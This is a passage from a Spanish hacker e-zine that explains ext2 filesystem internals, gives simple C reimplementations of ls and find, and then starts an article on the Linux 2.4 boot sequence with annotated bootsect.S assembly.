a un i-nodo. Llama a ext2_getblk para obtener la memoria intermedia
correspondiente, luego lee el contenido del bloque llamando a
ll_rw_blocksi el contenido de la memoria no esta actualizado.

* La funcion ext2_read_inode implementa la operacion sobre sistema de
archivos read_inode. Verifica primero la validez del numero de i-nodo a
cargar, luego calcula numero del grupo que contiene dicho i-nodo, y lee
el bloque de la tabla de i-nodos correspondiente llamando a la funcion
bread. El contenido del i-nodo en disco se copia seguidamente en el
descriptor de i-nodo, y el campo i_op (puntero a las operaciones
vinculadas al i-nodo) se inicializa segun su tipo.

* La funcion ext2_update_inode reescribe un i-nodo en disco. Verifica
primero la validez del numero de i-nodo a escribir, luego calcula el
numero del grupo que contiene este i-nodo, y lee el bloque de la tabla
de i-nodos correspondiente llamando a la funcion bread. El contenido del
i-nodo en disco se modifica seguidamente en la memoria intermedia a
partir del descriptor del i-nodo y la memoria se marca como modificada
llamando a mark_buffer_dirty. Finalmente, si el i-nodo debe reescribirse
inmediatamente en disco, se llama a la funcion ll_rw_block para proceder
a la escritura fisica.

* La funcion ext2_write_inode implementa la operacion write_inode. Llama a
la funcion ext2_update_inode especificando que la reescritura del i-nodo
no debe efectuarse inmediatamente. La funcion ext2_sync_inode efectua la
misma tarea pero exige una reescritura inmediata al llamar a
ext2_update_inode.

* La funcion ext2_put_inode implementa la operacion sobre sistema de
archivos put_inode. Libera los bloques preasignados llamando a
ext2_discard_prealloc, luego comprueba el numero de enlaces para
determinar si el archivos se ha suprimido. Si es asi, la fecha de
supresion del i-nodo se actualiza, el-nodo se reescribe en disco
llamando a ext2_update_inode, el contenido del archivo se libera
llamando a ext2_truncate, y finalmente se llama a ext2_free_inode para
liberar el i-nodo.




10.- Gestion de directorios
---------------------------

El archivo fuente fs/ext2/dir.c contiene las funciones de gestion de
directorios:

* ext2_check_dir_entry: esta funcion se llama para controlar la validez de
una entrada de directorio. Si se detecta un error, muestra un mensaje
llamando a la funcion ext2_error.

* ext2_readdir: esta funcion implementa la operacion readdir. Utiliza la
funcion ext2_bread para leer cada bloque que compone el directorio, e
implementa una estrategia de lectura anticipada. Cada bloque leido se
descompone en entradas de directorios que se colocan en la memoria
intermedia utilizando el puntero a la funcion filldir pasado como
parametro (este parametro contiene la direccion de las funciones
fillonedirofilldir, definidas en fs/readdir.c). ext2_readdir utiliza los
numeros de version asociados a los descriptores de archivo abierto y del
i-nodo correspondiente: si estos numeros son diferentes, significa que
el directorio se ha modificado (al menos un archivo ha sido añadido o
suprimido), y se efectua un bucle de resincronizacion para colocar el
puntero de posicion actual al principio de una entrada valida.

Otras funciones de gestion de directorios se definen tambien en el archivo
fuente fs/Ext2/namei.c:

* ext2_match: esta funcion interna compara un nombre de archivo
especificado con el nombre contenido en una entrada de directorio.

* ext2_find_entry: esta funcion se llama para buscar una entrada en un
directorio. Explora el contenido del directorio obteniendo cada bloque
por una llamada a ext2_getblk. Se utiliza una estrategia de lectura
anticipada. Cada bloque se descompone en una entrada de directorio y se
llama a la funcion ext2_match por cada entrada para comparar el nombre
que contiene con el nombre buscado. Si se encuentra el nombre, se
devuelve la direccion de la entrada.

* ext2_lookup: esta funcion efectua primero una busqueda del nombre de
archivo en la cache de nombres llamando a dcache_lookup. Si el nombre se
encuentra en la cache, el i-nodo correspondiente se lee llamando a iget,
y se devuelve, si no, se busca el nombre en el directorio llamando a la
funcion ext2_find_entry, el resultado se añade a la cache de nombres por
dcache_add, el i-nodo se carga en memoria llamando a iget, y se
devuelve.

* ext2_add_entry: esta funcion se llama para crear una nueva entrada en un
directorio. Efectua primero una exploracion del directorio leyendo cada
bloque llamando a ext2_bread, y buscando una entrada utilizable, es
decir, una entrada disponible de tamaño suficiente o una entrada
utilizada que pueda descomponerse en dos entradas. Una vez se encuentra
una entrada utilizable, se inicializa con el nombre de archivo
especificado.

* ext2_delete_entry: esta funcion se llama para suprimir una entrada de
directorio. Libera la entrada:

- poniendo a cero el numero de i-nodo de la entrada si se trata de
la primera entrada de un bloque

- fusionando esta entrada con la anterior en el caso contrario.



11.- Entrada/Salida sobre archivos
----------------------------------

Solo la operacion sobre archivo write se implementa especificamente. La lectura
de datos se efectua llamando a la funcion generic_file_read, debido a sus
interacciones con los mecanismos de gestion de la memoria.

* La funcion ext2_file_write, definida en el archivo fuente
fs/ext2/file.c, implementa la operacion de escritura, que verifica sus
argumentos y efectua un bucle de escritura: mientras queden datos por
escribir, obtiene una memoria intermedia llamando a ext2_getblk, copia
una parte de los datos a escribir en la memoria, y marca la memoria como
modificado llamando a mark_buffer_dirty. Una vez escritos todos los
datos, el descriptor del archivo y el i-nodo se actualizan.

* La funcion ext2_release_file implementa la funcion de liberacion de
un archivo. Llama a ext2_discard_prealloc para liberar los bloques
preasignados por ext2_new_blocken el ultimo cierre del archivo.




12.- Busqueda de un fichero en Ext2
-----------------------------------

Un nombre de fichero Linux tiene el mismo formato que los nombres de ficheros
de todos los Unix. Es una serie de nombres de directorios separados por la
barra de division ("/") y acabando con el nombre del fichero. Un ejemplo de
nombre de fichero podria ser "/home/rusling/.cshrc", donde /home y /rusling
son nombres de directorio y el nombre del fichero es .cshrc. Como todos los
demas sistemas Unix¸ Linux no tiene en cuenta el formato del nombre del
fichero; puede ser de cualquier longitud y cualquier caracter imprimible.
Para encontrar el i-nodo que representa a este fichero dentro de un sistema de
ficheros Ext2, el sistema debe analizar el nombre del fichero directorio a
directorio hasta encontrar el fichero en si. El primer i-nodo que se necesita
es el i-nodo de la raiz del sistema de ficheros, que esta en el superbloque
del sistema de ficheros. Para leer un i-nodo Ext2, hay que buscarlo en la
tabla de i-nodos del Grupo de Bloques apropiado. Si, por ejemplo, el numero de
i-nodo de la raiz es 42, entonces necesita el i-nodo numero 42 de la tabla de
i-nodos del Grupo de Bloques 0.

home es una de las muchas entradas de directorio y esta entrada de directorio
indica el numero del i-nodo que describe al directorio /home. Hay que leer
este directorio (primero leyendo su i-nodo y luego las entradas de directorio
de los bloques de datos descritos por su i-nodo), para encontrar la entrada
rusling que indica el numero del i-nodo que describe al directorio
/home/rusling. Finalmente, se debe leer las entradas de directorio apuntadas
por el i-nodo que describe al directorio /home/rusling para encontrar el
numero de i-nodo del fichero .cshrc y, desde ahi, leer los bloques de datos
que contienen la informacion del fichero.




13.- Cambio del tamaño de un archivo en Ext2
--------------------------------------------

Un problema comun de un sistema de ficheros es la tendencia a fragmentarse.
Los bloques que contienen los datos del fichero se esparcen por todo el
sistema de ficheros y esto hace que los accesos secuenciales a los bloques de
datos de un fichero sean cada vez mas ineficientes cuanto mas alejados esten
los bloques de datos. El sistema de ficheros Ext2 intenta solucionar esto
reservando los nuevos bloques, fisicamente juntos a sus bloques de datos
actuales o al menos en el mismo Grupo de Bloques que sus bloques de datos.
Solo cuando esto falla, reserva bloques de datos en otros Grupos de Bloques.

Siempre que un proceso intenta escribir datos en un fichero, el sistema de
ficheros de Linux comprueba si los datos exceden el final del ultimo bloque
para el fichero. Si lo hace, entonces tiene que reservar un nuevo bloque de
datos para el fichero. Hasta que la reserva no haya acabado, el proceso no
puede ejecutarse; debe esperar a que el sistema de ficheros reserve el nuevo
bloque de datos y escriba el resto de los datos antes de continuar. La primera
cosa que hacen las rutinas de reserva de bloques Ext2 es bloquear el
superbloque de ese sistema de ficheros. La reserva y liberacion cambia campos
del superbloque, y el sistema de ficheros Linux no puede permitir mas de un
proceso haciendo esto a la vez. Si otro proceso necesita reservar mas bloques
de datos, debe esperarse hasta que el otro proceso acabe. Los procesos que
esperan el superbloque son suspendidos, es decir, no se pueden ejecutar hasta
que el control del superbloque lo abandone su usuario actual. El acceso al
superbloque se garantiza mediante una politica «el primero que llega se
atiende primero», y cuando un proceso tiene control sobre el superbloque le
pone un cerrojo mientras lo siga necesitando. Una vez bloqueado el
superbloque, el proceso comprueba que hay suficientes bloques libres en ese
sistema de ficheros. Si no es asi, el intento de reservar mas bloques falla y
el proceso cedera el control del superbloque del sistema de ficheros.

Si hay suficientes bloques en el sistema de ficheros, el proceso intenta
reservar uno. Si el sistema de ficheros Ext2 se ha compilado para prereservar
bloques de datos, entonces se podra usar uno de estos. La prereserva de
bloques no existe realmente, solo se reservan dentro del mapa de bits de
bloques reservados. El i-nodo VFS que representa el fichero que intenta
reservar un nuevo bloque de datos tiene dos campos Ext2 especificos,
prealloc_block y prealloc_count, que son el numero de bloque del primer
bloque de datos prereservado y cuantos hay, respectivamente. Si no habian
bloques prereservados o la reserva anticipada no esta activa, el sistema de
ficheros Ext2 debe reservar un nuevo bloque. El sistema de ficheros Ext2,
primero mira si el bloque de datos despues del ultimo bloque de datos del
fichero esta libre. Logicamente, este es el bloque mas eficiente para reservar
ya que hace el acceso secuencial es mucho mas rapido. Si este bloque no esta
libre, busca un bloque de datos dentro de los 64 bloques del bloque ideal.
Este bloque, aunque no sea ideal, esta al menos muy cerca y dentro del mismo
Grupo de Bloques que los otros bloques de datos que pertenecen a ese fichero.

Si incluso ese bloque no esta libre, el proceso empieza a buscar en los demas
Grupos de Bloques hasta encontrar algunos bloques libres. El codigo de reserva
de bloque busca un cluster de ocho bloques de datos libres en cualquiera de
los Grupos de Bloques. Si no puede encontrar ocho juntos, se ajustara para
menos. Si se quiere la prereserva de bloques y esta activado, actualizara
prealloc_block y prealloc_count pertinentemente.

Donde quiera que encuentre el bloque libre, el codigo de reserva de bloque
actualiza el mapa de bits de bloque del Grupo de Bloques y reserva un buffer
de datos en el buffer cache. Ese buffer de datos se identifica
inequivocamente por el identificador de dispositivo del sistema y el numero de
bloque del bloque reservado. El buffer de datos se sobreescribe con ceros y se
marca como «sucio» para indicar que su contenido no se ha escrito al disco
fisico. Finalmente, el superbloque se marca tambien como «sucio» para indicar
que se ha cambiado y esta desbloqueado. Si hubiera otros procesos esperando,
al primero de la cola se le permitiria continuar la ejecucion y tener el
control exclusivo del superbloque para sus operaciones de fichero. Los datos
del proceso se escriben en el nuevo bloque de datos y, si ese bloque se llena,
se repite el proceso entero y se reserva otro bloque de datos.



14.- Un par de ejemplos
-----------------------

Bueno y como ejemplo del Sistema de archivos aqui teneis una implementacion de
un ls y de un find.

---/ mi_ls.c /---

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <string.h>
#include <grp.h>
#include <pwd.h>
#include <time.h>
#define ERROR -1
#define TRUE 1
#define FALSE 0

struct pila {
char directorio[256];
time_t fecha;
struct pila *sig; } *mipila,*pilaOrd;

struct opciones {
char *path;
int PARA_a;
int PARA_A;
int PARA_d;
int PARA_i;
int PARA_l;
int PARA_r;
int PARA_R;
int PARA_t;
int PARA_u;
};

void inicializa_opciones(struct opciones *opt){
opt->path=".";
opt->PARA_a=FALSE;
opt->PARA_A=FALSE;
opt->PARA_d=FALSE;
opt->PARA_i=FALSE;
opt->PARA_l=FALSE;
opt->PARA_r=FALSE;
opt->PARA_R=FALSE;
opt->PARA_t=FALSE;
opt->PARA_u=FALSE;
}

void lee_parametros(struct opciones *opt,char *cadena){
if(strstr(cadena,"a")!=0)
opt->PARA_a=TRUE;
if(strstr(cadena,"A")!=0)
opt->PARA_A=TRUE;
if(strstr(cadena,"d")!=0)
opt->PARA_d=TRUE;
if(strstr(cadena,"i")!=0)
opt->PARA_i=TRUE;
if(strstr(cadena,"l")!=0)
opt->PARA_l=TRUE;
if(strstr(cadena,"r")!=0)
opt->PARA_r=TRUE;
if(strstr(cadena,"R")!=0)
opt->PARA_R=TRUE;
if(strstr(cadena,"t")!=0)
opt->PARA_t=TRUE;
if(strstr(cadena,"u")!=0)
opt->PARA_u=TRUE;
}

void cambia_fecha(char *cad){
char aux[12],aux1[25];
char *salida;
int i;
strcpy(aux1,cad);
for(i=0;i<=11;i++)
printf("%c",aux1[i+4]);
printf("\t");
}

void describe_archivo(char *camino,struct opciones opt){
struct stat buffer;
struct passwd usuario;
struct group grupo;
char *fich, *fecha;

if(lstat(camino,&buffer)==ERROR)
{
perror(camino);
exit(ERROR);
}
if(opt.PARA_i==TRUE)
printf("%d ",buffer.st_ino);
if(opt.PARA_l==TRUE)
{
if((buffer.st_mode&S_IFMT)==S_IFDIR)
printf("d");
else
if((buffer.st_mode&S_IFMT)==S_IFLNK)
printf("l");
else
printf("-");
/* Permisos para el propietario */
switch(buffer.st_mode & 0000700)
{
case 0700 : printf("rwx"); break;
case 0600 : printf("rw-"); break;
case 0500 : printf("r-x"); break;
case 0400 : printf("r--"); break;
case 0300 : printf("-wx"); break;
case 0200 : printf("-w-"); break;
case 0100 : printf("--x"); break;
case 0000 : printf("---"); break;
}
/* Permisos para el grupo */
switch(buffer.st_mode & 0000070)
{
case 0070 : printf("rwx"); break;
case 0060 : printf("rw-"); break;
case 0050 : printf("r-x"); break;
case 0040 : printf("r--"); break;
case 0030 : printf("-wx"); break;
case 0020 : printf("-w-"); break;
case 0010 : printf("--x"); break;
case 0000 : printf("---"); break;
}
/* Permisos para los demas */
switch(buffer.st_mode & 0000007)
{
case 0007 : printf("rwx "); break;
case 0006 : printf("rw- "); break;
case 0005 : printf("r-x "); break;
case 0004 : printf("r-- "); break;
case 0003 : printf("-wx "); break;
case 0002 : printf("-w- "); break;
case 0001 : printf("--x "); break;
case 0000 : printf("--- "); break;
}
printf("%d\t",buffer.st_nlink);
usuario=*getpwuid(buffer.st_uid);
grupo=*getgrgid(buffer.st_gid);
printf("%s\t",usuario.pw_name);
printf("%s\t",grupo.gr_name);
printf("%d\t",buffer.st_size);
cambia_fecha(ctime(&buffer.st_mtime));
printf("%s\n",camino);
}
else
printf("%s\t",camino);
}

void inserta_pila(struct pila **p, char dire[256]){
struct pila *aux;

aux=(struct pila *)malloc(sizeof(struct pila));
aux->sig=*p;
*p=aux;
strcpy(aux->directorio,dire);
}

void muestra_pila(struct pila *p){
if(p){
printf("%s \n",p->directorio);
muestra_pila(p->sig);
}
}

void Invierte_pila(struct pila **p){
struct pila *aux, *final, *aux1;

final=NULL;
aux1=*p;
while(aux1)
{
aux=aux1;
aux1=aux1->sig;
aux->sig=final;
final=aux;
}
*p=final;
}

void altaORD(struct pila **l,char cad[256],time_t fecha)
{struct pila *aux,*ant,*pos;
aux=*l;
ant=NULL;
if(!aux){
aux=(struct pila *)malloc(sizeof(struct pila));
aux->fecha=fecha;
strcpy(aux->directorio,cad);
aux->sig=NULL;
*l=aux;}
else{
while((aux!=NULL)&&(difftime(aux->fecha,fecha)>0))
{ant=aux;
aux=aux->sig;}
if(!ant){
ant=(struct pila *)malloc(sizeof(struct pila));
strcpy(ant->directorio,cad);
ant->fecha=fecha;
ant->sig=aux;
*l=ant;}
else{
pos=(struct pila *)malloc(sizeof(struct pila));
strcpy(pos->directorio,cad);
pos->fecha=fecha;
pos->sig=aux;
ant->sig=pos;
}
}
}

/*muestra un directorio*/
void muestra_directorio(char *camino,struct opciones opt){
DIR *direct;
struct pila *aux;
struct dirent *midir;
struct stat buf;
char fichero[256];
char c[2];

if((direct=opendir(camino))==NULL)
{
perror(camino);
exit(ERROR);
}
if(opt.PARA_a==FALSE)
seekdir(direct,2);/*nos saltamos las dos primeras entradas . y ..*/
while((midir=readdir(direct))!=NULL)
{
/*concatenamos el path con el nombre del fichero*/
sprintf(fichero,"%s/%s",camino,midir->d_name);
if(stat(fichero,&buf)==ERROR)
{
perror(fichero);
exit(ERROR);
}
if((opt.PARA_R==TRUE)&&((buf.st_mode&S_IFMT)==S_IFDIR))
if((strcmp(midir->d_name,"..")!=0)&&(strcmp(midir->d_name,".")!=0))
inserta_pila(&mipila,fichero);
if((buf.st_mode&S_IFMT)!=S_IFDIR)
if(opt.PARA_t==TRUE)
if(opt.PARA_u=TRUE)
altaORD(&pilaOrd,fichero,buf.st_atime);
else
altaORD(&pilaOrd,fichero,buf.st_mtime);
else
inserta_pila(&pilaOrd,fichero);
else
if(opt.PARA_a==TRUE)
if(opt.PARA_t==TRUE)
altaORD(&pilaOrd,fichero,buf.st_mtime);
else
inserta_pila(&pilaOrd,fichero);
}
if(opt.PARA_r==TRUE)
Invierte_pila(&pilaOrd);
while(pilaOrd)
{
describe_archivo(pilaOrd->directorio,opt);
pilaOrd=pilaOrd->sig;
}
/*Si la pila tiene algo es que tenemos que llamar recursivamente
a la funcion, esto es por que tenemos los directorios en la pila*/

if(mipila!=NULL)
{
aux=mipila;
mipila=mipila->sig;
strcpy(fichero,aux->directorio);
printf("\n%s",fichero);
printf("\n");
muestra_directorio(fichero,opt);
}
close(direct);
}

int main(int argc,char *argv[]){
char *opcion;
char *camino;
struct opciones opt;
int valor;

mipila=NULL;
pilaOrd=NULL;
inicializa_opciones(&opt);
if(argc==1)
{
opt.path=".";
}
else
{
if(argc==2)
if(strstr(argv[1],"-")!=0)
{
lee_parametros(&opt,argv[1]);
opt.path=".";
}else{
opt.path=argv[1];
}
if(argc==3)
if(strstr(argv[1],"-")!=0)
{
lee_parametros(&opt,argv[1]);
opt.path=argv[2];
}
}
muestra_directorio(opt.path,opt);
exit(0);
}

---/ mi_ls.c /---

Ahora va el find, vereis que es muy parececido

---/ mi_find.c /---

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <string.h>
#include <time.h>
#include <sys/timeb.h>
#define ERROR -1
#define TRUE 1
#define FALSE 0

struct pila {
char directorio[256];
struct pila *sig; } *mipila;

struct opciones {
char *path;
int PARA_name;
char *name;
int PARA_size;
int size;
int PARA_perm;
int perm;
int PARA_inum;
int inum;
int PARA_type;
char *type;
int PARA_atime;
int atime;
int PARA_links;
int links;
};

void inicializa_opciones(struct opciones *opt){
opt->path=".";
opt->PARA_name=FALSE;
opt->name="";
opt->PARA_size=FALSE;
opt->size=0;
opt->PARA_perm=FALSE;
opt->perm=0000;
opt->PARA_inum=FALSE;
opt->inum=0;
opt->PARA_type=FALSE;
opt->type=".";
opt->PARA_atime=FALSE;
opt->atime=0;
opt->PARA_links=FALSE;
opt->links=0;
}


void inserta_pila(struct pila **p, char dire[256]){
struct pila *aux;

aux=(struct pila *)malloc(sizeof(struct pila));
aux->sig=*p;
*p=aux;
strcpy(aux->directorio,dire);
}

void muestra_pila(struct pila *p){
if(p){
printf("%s \n",p->directorio);
muestra_pila(p->sig);
}
}

/*busca en un directorio*/
void busca_directorio(char *camino,struct opciones opt){
DIR *direct;
struct timeb tiempo;
struct pila *aux;
struct dirent *midir;
struct stat buf;
char fichero[256];
char c[6];
int ii;

if((direct=opendir(camino))==NULL)
{
perror(camino);
exit(ERROR);
}
seekdir(direct,2);/*nos saltamos las dos primeras entradas . y ..*/
while((midir=readdir(direct))!=NULL)
{
/*concatenamos el path con el nombre del fichero*/
sprintf(fichero,"%s/%s",camino,midir->d_name);
if(lstat(fichero,&buf)==ERROR)
{
perror(fichero);
exit(ERROR);
}
if(((buf.st_mode&S_IFMT)==S_IFDIR)&&(strcmp(midir->d_name,"..")!=0))
if(strcmp(midir->d_name,".")!=0)
inserta_pila(&mipila,fichero);
if(opt.PARA_name==TRUE)
if(strcmp(opt.name,midir->d_name)==0)
printf("%s\n",fichero);
if(opt.PARA_size==TRUE)
if(buf.st_size==opt.size)
printf("%s\n",fichero);
if(opt.PARA_perm==TRUE)
{
sprintf(c,"%o",buf.st_mode);
if(atoi(c)==opt.perm)
printf("%s\n",fichero);
}
if(opt.PARA_inum==TRUE)
if(opt.inum==buf.st_ino)
printf("%s\n",fichero);
if(opt.PARA_links==TRUE)
if(opt.links==buf.st_nlink)
printf("%s\n",fichero);
if(opt.PARA_type==TRUE)
switch(buf.st_mode&S_IFMT)
{
case S_IFDIR:if(strcmp("d",opt.type)==0)printf("%s\n",fichero);break;
case S_IFREG:if(strcmp("f",opt.type)==0)printf("%s\n",fichero);break;
case S_IFCHR:if(strcmp("c",opt.type)==0)printf("%s\n",fichero);break;
case S_IFBLK:if(strcmp("b",opt.type)==0)printf("%s\n",fichero);break;
case S_IFIFO:if(strcmp("p",opt.type)==0)printf("%s\n",fichero);break;
case S_IFLNK:if(strcmp("l",opt.type)==0)printf("%s\n",fichero);break;
}
if(opt.PARA_atime==TRUE)
{
ftime(&tiempo);
ii=(int)difftime(tiempo.time,buf.st_atime);
if(ii>0)
ii=ii/3600;
if(ii<opt.atime)
printf("%s\n",fichero);
}
}
/*Si la pila tiene algo es que tenemos que llamar recursivamente
a la funcion, esto es por que tenemos los directorios en la pila*/

if(mipila!=NULL)
{
aux=mipila;
mipila=mipila->sig;
strcpy(fichero,aux->directorio);
busca_directorio(fichero,opt);
}
muestra_pila(mipila);
close(direct);
}

int main(int argc,char *argv[]){
char *opcion;
char *camino;
struct opciones opt;
struct stat buf;
int valor,i,sw;

sw=FALSE;
mipila=NULL;
inicializa_opciones(&opt);
if(argc==1)
{
printf("Falta un parametro\n");
exit(-1);
}
for(i=1;i<argc;i++)
{
if(stat(argv[i],&buf)==ERROR)
{
if(strcmp(argv[i],"-name")==0)
{
opt.PARA_name=TRUE;
opt.name=argv[i+1];
}
if(strcmp(argv[i],"-size")==0)
{
opt.PARA_size=TRUE;
opt.size=atoi(argv[i+1]);
}
if(strcmp(argv[i],"-perm")==0)
{
opt.PARA_perm=TRUE;
opt.perm=atoi(argv[i+1]);
}
if(strcmp(argv[i],"-inum")==0)
{
opt.PARA_inum=TRUE;
opt.inum=atoi(argv[i+1]);
}
if(strcmp(argv[i],"-type")==0)
{
opt.PARA_type=TRUE;

  
opt.type=argv[i+1];
}
if(strcmp(argv[i],"-atime")==0)
{
opt.PARA_atime=TRUE;
opt.atime=atoi(argv[i+1]);
}
if(strcmp(argv[i],"-links")==0)
{
opt.PARA_links=TRUE;
opt.links=atoi(argv[i+1]);
}
}
else
{
if(sw==FALSE)
{
opt.path=argv[i];
sw=TRUE;
}
}
}
busca_directorio(opt.path,opt);
exit(0);
}

---/ mi_find.c /---

*EOF*
-=( 7A69#13 )=--=( art4 )=--=( Linux 2.4: Arranque del )=--=( Tuxisuau )=-
( nucleo. )



0. Indice

1. Introduccion.
2. Arranque previo al del Sistema Operativo.
3. Arranque en ASM.
3.1. bootsect.S
3.2. setup.S
3.3. head.S
3.3.1. Descompresion. (boot/head.S)
3.3.2. Cabecera del kernel. (arch/i386/kernel/head.S)
4. Arranque en C.
4.1. start_kernel() (init/main.c)
4.2. rest_init() (init/main.c)
5. Despedida.

1. Introduccion

Hace unos meses que senti curiosidad por el kernel, coincidiendo con la
preparacion de 7a69#12, cuando nos pusimos a fondo con el kernel por primera
vez. Aprendimos a programar LKMs y por mi parte senti curiosidad sobre el
procedimiento de arranque del nucleo, y decidi recorrer todo el procedimiento de
arranque, y ya que lo hacia, escribir un doc sobre este. Para documentarme, he
leido antes el Linux Kernel Internals (www.linuxdoc.org). Especialmente el punto
dos es casi una traduccion del fragmento del libro que explica eso. Pero a
partir del punto 3 he tomado como unica referencia el kernel (/usr/src/linux/*).
Espero que el doc os sea de utilidad para entender un poco como funciona el
nucleo por dentro (escribiendolo he aprendido un poco). Es interesante leerlo
con los fuentes del nucleo en los terminales de al lado. En fin, si quereis
contactar conmigo es preferible que lo hagais por correo en mi direccion de 7a69
(tuxisuau@7a69ezine.org). Encontrareis mi llave publica GPG en la ezine y en mi
web personal (http://tuxisuau.7a69ezine.org/tuxisuau.asc).

2. Arranque previo al del Sistema Operativo.

- 1. El administrador pulsa el boton de encendido de la maquina.

- 2. La fuente de alimentacion arranca el generador de reloj, y envia la señal
#POWERGOOD al bus.

- 3. La CPU recibe el señal #RESET, y se coloca en modo REAL Con los registros a
cero, excepto %cs=0xFFFF0000 y %eip=0x0000FFF0.

- 4. La ejecucion comienza en 0xFFFFFFF0, 16 bytes por debajo del limite de
direccionamiento de memoria fisica, en una EPROM que normalmente esta en una
direccion de memoria bastante mas baja, pero que el chipset se encarga de
mapear ahi. Esta EPROM se encarga generalmente de saltar a la BIOS, despues de
ajustar un IDT (Descriptor de Tabla de Interrupciones, guarda la posicion y el
tamaño de la tabla de interrupciones) adecuado para modo real.

- 5. El POST ejecuta las pruebas de arranque con las interrupciones
inhabilitadas.

- 6. El vector de interrupciones se inicializa en 0x00000000, se activan las
interrupciones.

- 7. El POST llama a la interrupcion 0x19, pasandole de parametro en %dl el
'numero de disco' que se usara para arrancar.

- 8. La BIOS carga el sector 1 de la pista 0 a 0x7C00.

- 9. La BIOS comprueba que los ultimos 2 bytes del sector que ha leido valgan
AA55H, de no ser asi prueba de arrancar desde otro lado o suelta el famoso
mensaje "No system disk or disk error" y se niega a arrancar (arrancar...
arrancar el que? :).

- 10. Se ejecuta el sector de arranque. Suele ser LILO, GRUB, Syslinux,
arch/i386/boot/bootsect.S que el kernel trae de por si (probad de hacer un
make bzdisk con un kernel que quepa a un floppy.)
o incluso un sector de arranque que se encarga de mirar cual es la particion
activa y carga y ejecuta el primer sector de alli... tipico en pseudo sistemas
operativos Windows, o en el clasico MS/PC/DR/OPEN/FREE/... DOS.

3. Arranque en ASM.

3.1. bootsect.S

/*
* bootsect.S Copyright (C) 1991, 1992 Linus Torvalds
*
* modified by Drew Eckhardt
* modified by Bruce Evans (bde)
* modified by Chris Noe (May 1999) (as86 -> gas)
*
* bootsect is loaded at 0x7c00 by the bios-startup routines, and moves
* itself out of the way to address 0x90000, and jumps there.
*
* bde - should not jump blindly, there may be systems with only 512K low
* memory. Use int 0x12 to get the top of memory, etc.
*
* It then loads 'setup' directly after itself (0x90200), and the system
* at 0x10000, using BIOS interrupts.
*
* NOTE! currently system is at most (8*65536-4096) bytes long. This should
* be no problem, even in the future. I want to keep it simple. This 508 kB
* kernel size should be enough, especially as this doesn't contain the
* buffer cache as in minix (and especially now that the kernel is
* compressed :-)
*
* The loader has been made as simple as possible, and continuous
* read errors will result in a unbreakable loop. Reboot by hand. It
* loads pretty fast by getting whole tracks at a time whenever possible.
*/


Bien, lo primero que vemos es que las fuentes de Linux, como buen sistema
operativo "didactico", perfecto para estudiantes que es, esta muy bien
comentado.

#include <asm/boot.h>

SETUPSECTS = 4 /* default nr of setup-sectors */
BOOTSEG = 0x07C0 /* original address of boot-sector */
INITSEG = DEF_INITSEG /* we move boot here - out of the way */
SETUPSEG = DEF_SETUPSEG /* setup starts here */
SYSSEG = DEF_SYSSEG /* system loaded at 0x10000 (65536) */
SYSSIZE = DEF_SYSSIZE /* system size: # of 16-byte clicks */
/* to be loaded */
ROOT_DEV = 0 /* ROOT_DEV is now written by "build" */
SWAP_DEV = 0 /* SWAP_DEV is now written by "build" */

Bien, los DEFs de la derecha estan en boot.h.

--- asm-i386/boot.h ---

#ifndef _LINUX_BOOT_H
#define _LINUX_BOOT_H

/* Don't touch these, unless you really know what you're doing. */
#define DEF_INITSEG 0x9000
#define DEF_SYSSEG 0x1000
#define DEF_SETUPSEG 0x9020
#define DEF_SYSSIZE 0x7F00

/* Internal svga startup constants */
#define NORMAL_VGA 0xffff /* 80x25 mode */
#define EXTENDED_VGA 0xfffe /* 80x50 mode */
#define ASK_VGA 0xfffd /* ask for it at bootup */

#endif

--- asm-i386/boot.h ---

Vamos a ver algunas de las definiciones...

SETUPSECTS = 4 /* default nr of setup-sectors */

El numero de setup-sectors a cargar mas tarde. No cabe todo en el bootblock
(sector de arranque).

BOOTSEG = 0x07C0 /* original address of boot-sector */

La direccion donde la BIOS carga el sector de arranque.

#define DEF_INITSEG 0x9000
INITSEG = DEF_INITSEG /* we move boot here - out of the way */

La direccion donde posteriormente moveremos el sector de arranque.

#define DEF_SETUPSEG 0x9020
SETUPSEG = DEF_SETUPSEG /* setup starts here */

Lugar donde saltaremos mas tarde, una vez volcado el kernel a la RAM.

#define DEF_SYSSEG 0x1000
SYSSEG = DEF_SYSSEG /* system loaded at 0x10000 (65536) */

Lugar donde cargaremos nuestro querido kernel.

#define DEF_SYSSIZE 0x7F00
SYSSIZE = DEF_SYSSIZE /* system size: # of 16-byte clicks */
/* to be loaded */

Bloques de 16 bytes a cargar.

Bien, ahora hagamos algo con ello.

.global _start
_start:

#if 0 /* hook for debugger, harmless unless BIOS is fussy (old HP) */
int $0x3
#endif

movw $BOOTSEG, %ax
movw %ax, %ds
movw $INITSEG, %ax
movw %ax, %es
movw $256, %cx
subw %si, %si
subw %di, %di
cld
rep
movsw
ljmp $INITSEG, $go

# bde - changed 0xff00 to 0x4000 to use debugger at 0x6400 up (bde). We
# wouldn't have to worry about this if we checked the top of memory. Also
# my BIOS can be configured to put the wini drive tables in high memory
# instead of in the vector table. The old stack might have clobbered the
# drive table.

go: movw $0x4000-12, %di # 0x4000 is an arbitrary value >=
# length of bootsect + length of
# setup + room for stack;
# 12 is disk parm size.
movw %ax, %ds # ax and es already contain INITSEG
movw %ax, %ss
movw %di, %sp # put stack at INITSEG:0x4000-12.

Colocamos los valores que necesitamos a los registros de la CPU, copiamos
512 bytes a INITSEG, saltamos a la copia de go y ajustamos ahi el puntero del
stack.

# Many BIOS's default disk parameter tables will not recognize
# multi-sector reads beyond the maximum sector number specified
# in the default diskette parameter tables - this may mean 7
# sectors in some cases.
#
# Since single sector reads are slow and out of the question,
# we must take care of this by creating new parameter tables
# (for the first disk) in RAM. We will set the maximum sector
# count to 36 - the most we will encounter on an ED 2.88.
#
# High doesn't hurt. Low does.
#
# Segments are as follows: ds = es = ss = cs - INITSEG, fs = 0,
# and gs is unused.

movw %cx, %fs # set fs to 0
movw $0x78, %bx # fs:bx is parameter table address
pushw %ds
ldsw %fs:(%bx), %si # ds:si is source
movb $6, %cl # copy 12 bytes
pushw %di # di = 0x4000-12.
rep # don't need cld -> done on line 66
movsw
popw %di
popw %ds
movb $36, 0x4(%di) # patch sector count
movw %di, %fs:(%bx)
movw %es, %fs:2(%bx)

Algunas BIOS, por defecto, no reconocen lecturas de multisector por encima de
los 7 sectores. Puesto que no nos interesa para nada leer sector-por-sector pues
es muy lento, haremos una copia de la tabla de parametros de disco de la bios a
